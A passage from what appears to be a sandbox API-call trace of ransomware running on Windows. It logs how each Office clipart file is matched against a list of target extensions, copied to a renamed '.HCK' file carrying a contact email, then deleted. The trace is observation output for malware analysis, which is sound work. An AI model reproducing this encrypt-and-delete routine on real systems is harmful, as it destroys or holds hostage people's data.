Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.576] lstrlenW (lpString=".jpg") returned 4 [0231.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.576] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.576] lstrlenW (lpString="J0105320.WMF") returned 12 [0231.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.577] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=2020) returned 1 [0231.577] CloseHandle (hObject=0x4b4) returned 1 [0231.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220 [0231.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.577] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.578] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.578] GetLastError () returned 0x0 [0231.578] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x7e4, lpOverlapped=0x0) returned 1 [0231.852] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0231.853] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.853] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.853] SetEndOfFile (hFile=0x4b0) returned 1 [0231.853] CloseHandle (hObject=0x4b0) returned 1 [0231.853] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.853] SetEndOfFile (hFile=0x4b4) returned 1 [0231.855] CloseHandle (hObject=0x4b4) returned 1 [0231.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0231.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.856] lstrlenW (lpString=".doc") returned 4 [0231.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.856] lstrlenW (lpString=".docx") returned 5 [0231.856] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.856] lstrlenW (lpString=".pdf") returned 4 [0231.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.856] lstrlenW (lpString=".xls") returned 4 [0231.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.856] lstrlenW (lpString=".xlsx") returned 5 [0231.857] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.857] lstrlenW (lpString=".ppt") returned 4 [0231.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.857] lstrlenW (lpString=".zip") returned 4 [0231.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.857] lstrlenW (lpString=".rar") returned 4 [0231.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString=".bz2") returned 4 [0231.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString=".7z") returned 3 [0231.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.857] lstrlenW (lpString=".dbf") returned 4 [0231.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.857] lstrlenW (lpString=".1cd") returned 4 [0231.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.857] lstrlenW (lpString=".jpg") returned 4 [0231.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.857] lstrlenW (lpString=".doc") returned 4 [0231.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString=".docx") returned 5 [0231.857] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.857] lstrlenW (lpString=".pdf") returned 4 [0231.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString=".xls") returned 4 [0231.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.857] lstrlenW (lpString=".xlsx") returned 5 [0231.857] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.857] lstrlenW (lpString=".ppt") returned 4 [0231.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.857] lstrlenW (lpString=".zip") returned 4 [0231.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.857] lstrlenW (lpString=".rar") returned 4 [0231.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString=".bz2") returned 4 [0231.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString=".7z") returned 3 [0231.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.857] lstrlenW (lpString=".dbf") returned 4 [0231.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.857] lstrlenW (lpString=".1cd") returned 4 [0231.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0231.858] lstrlenW (lpString=".jpg") returned 4 [0231.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.858] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.858] lstrlenW (lpString="J0105384.WMF") returned 12 [0231.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.957] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5880) returned 1 [0231.957] CloseHandle (hObject=0x4cc) returned 1 [0231.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220 [0231.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.958] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.958] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0231.959] GetLastError () returned 0x0 [0231.959] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x16f8, lpOverlapped=0x0) returned 1 [0231.960] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1700, lpOverlapped=0x0) returned 1 [0231.961] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.961] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.961] SetEndOfFile (hFile=0x4bc) returned 1 [0231.961] CloseHandle (hObject=0x4bc) returned 1 [0231.961] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.961] SetEndOfFile (hFile=0x4cc) returned 1 [0231.963] CloseHandle (hObject=0x4cc) returned 1 [0231.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0231.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.965] lstrlenW (lpString=".doc") returned 4 [0231.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.965] lstrlenW (lpString=".docx") returned 5 [0231.965] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0231.965] lstrlenW (lpString=".pdf") returned 4 [0231.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.965] lstrlenW (lpString=".xls") returned 4 [0231.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.965] lstrlenW (lpString=".xlsx") returned 5 [0231.965] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0231.965] lstrlenW (lpString=".ppt") returned 4 [0231.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.965] lstrlenW (lpString=".zip") returned 4 [0231.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.965] lstrlenW (lpString=".rar") returned 4 [0231.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.965] lstrlenW (lpString=".bz2") returned 4 [0231.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.965] lstrlenW (lpString=".7z") returned 3 [0231.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.965] lstrlenW (lpString=".dbf") returned 4 [0231.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.965] lstrlenW (lpString=".1cd") returned 4 [0231.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.965] lstrlenW (lpString=".jpg") returned 4 [0231.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.965] lstrlenW (lpString=".doc") returned 4 [0231.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.965] lstrlenW (lpString=".docx") returned 5 [0231.965] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0231.965] lstrlenW (lpString=".pdf") returned 4 [0231.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.965] lstrlenW (lpString=".xls") returned 4 [0231.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.965] lstrlenW (lpString=".xlsx") returned 5 [0231.965] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0231.965] lstrlenW (lpString=".ppt") returned 4 [0231.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.966] lstrlenW (lpString=".zip") returned 4 [0231.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.966] lstrlenW (lpString=".rar") returned 4 [0231.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.966] lstrlenW (lpString=".bz2") returned 4 [0231.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.966] lstrlenW (lpString=".7z") returned 3 [0231.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.966] lstrlenW (lpString=".dbf") returned 4 [0231.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.966] lstrlenW (lpString=".1cd") returned 4 [0231.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0231.966] lstrlenW (lpString=".jpg") returned 4 [0231.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.966] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.966] lstrlenW (lpString="J0105386.WMF") returned 12 [0231.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.967] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5980) returned 1 [0231.967] CloseHandle (hObject=0x4cc) returned 1 [0231.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220 [0231.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.967] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.967] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0231.968] GetLastError () returned 0x0 [0231.968] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x175c, lpOverlapped=0x0) returned 1 [0231.969] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1760, lpOverlapped=0x0) returned 1 [0231.970] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.970] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.970] SetEndOfFile (hFile=0x4bc) returned 1 [0231.970] CloseHandle (hObject=0x4bc) returned 1 [0231.970] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.970] SetEndOfFile (hFile=0x4cc) returned 1 [0231.972] CloseHandle (hObject=0x4cc) returned 1 [0231.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0231.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.973] lstrlenW (lpString=".doc") returned 4 [0231.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.973] lstrlenW (lpString=".docx") returned 5 [0231.973] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.973] lstrlenW (lpString=".pdf") returned 4 [0231.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.973] lstrlenW (lpString=".xls") returned 4 [0231.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.973] lstrlenW (lpString=".xlsx") returned 5 [0231.973] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.973] lstrlenW (lpString=".ppt") returned 4 [0231.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.973] lstrlenW (lpString=".zip") returned 4 [0231.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.973] lstrlenW (lpString=".rar") returned 4 [0231.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.973] lstrlenW (lpString=".bz2") returned 4 [0231.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.973] lstrlenW (lpString=".7z") returned 3 [0231.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.973] lstrlenW (lpString=".dbf") returned 4 [0231.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.973] lstrlenW (lpString=".1cd") returned 4 [0231.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.973] lstrlenW (lpString=".jpg") returned 4 [0231.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.973] lstrlenW (lpString=".doc") returned 4 [0231.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.974] lstrlenW (lpString=".docx") returned 5 [0231.974] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.974] lstrlenW (lpString=".pdf") returned 4 [0231.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.974] lstrlenW (lpString=".xls") returned 4 [0231.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.974] lstrlenW (lpString=".xlsx") returned 5 [0231.974] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.974] lstrlenW (lpString=".ppt") returned 4 [0231.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.974] lstrlenW (lpString=".zip") returned 4 [0231.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.974] lstrlenW (lpString=".rar") returned 4 [0231.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.974] lstrlenW (lpString=".bz2") returned 4 [0231.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.974] lstrlenW (lpString=".7z") returned 3 [0231.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.974] lstrlenW (lpString=".dbf") returned 4 [0231.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.974] lstrlenW (lpString=".1cd") returned 4 [0231.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0231.974] lstrlenW (lpString=".jpg") returned 4 [0231.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.974] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.974] lstrlenW (lpString="J0105388.WMF") returned 12 [0231.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft 